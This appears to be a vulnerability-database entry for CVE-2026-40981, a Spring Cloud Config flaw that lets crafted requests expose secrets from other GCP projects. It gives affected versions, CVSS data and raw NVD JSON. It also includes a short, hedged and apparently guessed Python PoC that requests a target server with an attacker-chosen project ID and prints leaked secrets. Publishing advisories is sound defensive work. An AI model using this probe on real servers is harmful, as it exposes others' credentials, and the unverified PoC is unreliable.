Security Vulnerability Report
中文
CVE-2026-40981 CVSS 7.5 HIGH

CVE-2026-40981

Published: 2026-05-07 04:16:25
Last Modified: 2026-05-12 20:34:01

Description

When using Google Secrets Manager as a backend for the Spring Cloud Config server a client can craft a request to the config server potentially exposing secrets from unintended GCP projects. Spring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* - VULNERABLE
Spring Cloud Config 3.1.0 - 3.1.13
Spring Cloud Config 4.1.0 - 4.1.9
Spring Cloud Config 4.2.0 - 4.2.6
Spring Cloud Config 4.3.0 - 4.3.2
Spring Cloud Config 5.0.0 - 5.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Example for CVE-2026-40981 # This script demonstrates how a malicious request might be crafted # to access secrets from a different GCP project. import requests def exploit(target_url, malicious_project_id): # The endpoint typically follows a pattern like /{name}/{profile} # By injecting the project ID into the name parameter, the server # may attempt to fetch secrets from that specific project in GSM. endpoint = f"{target_url}/{malicious_project_id}/default" try: response = requests.get(endpoint, timeout=5) if response.status_code == 200: print("[+] Potential secrets leaked:") print(response.text) else: print("[-] Request failed or blocked.") except Exception as e: print(f"Error: {e}") # Usage # exploit("http://vulnerable-config-server", "attacker-controlled-project-id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40981", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:24.607", "lastModified": "2026-05-12T20:34:01.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using Google Secrets Manager as a backend for the Spring Cloud Config server a client can craft a request to the config server potentially exposing secrets from unintended GCP projects.\nSpring Cloud Config 3.1.x: affected from 3.1.0 through 3.1.13 (inclusive); upgrade to 3.1.14 or greater (Enterprise Support Only). Spring Cloud Config 4.1.x: affected from 4.1.0 through 4.1.9 (inclusive); upgrade to 4.1.10 or greater (Enterprise Support Only). Spring Cloud Config 4.2.x: affected from 4.2.0 through 4.2.6 (inclusive); upgrade to 4.2.7 or greater (Enterprise Support Only). Spring Cloud Config 4.3.x: affected from 4.3.0 through 4.3.2 (inclusive); upgrade to 4.3.3 or greater. Spring Cloud Config 5.0.x: affected from 5.0.0 through 5.0.2 (inclusive); upgrade to 5.0.3 or greater."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.14", "matchCriteriaId": "A35B9ECF-3B4A-4E35-8CDE-54EC21E723DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.10", "matchCriteriaId": "446B9053-153B-41E3-A339-C216572E5450"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.7", "matchCriteriaId": "2B36B389-41C0-400D-BA92-F5905C9BEBFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.3.3", "matchCriteriaId": "5E965315-4507-461D-979F-D5F5602EC8D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "218A144D-2CDA-4873-899C-7D8718D5601F"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40981", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}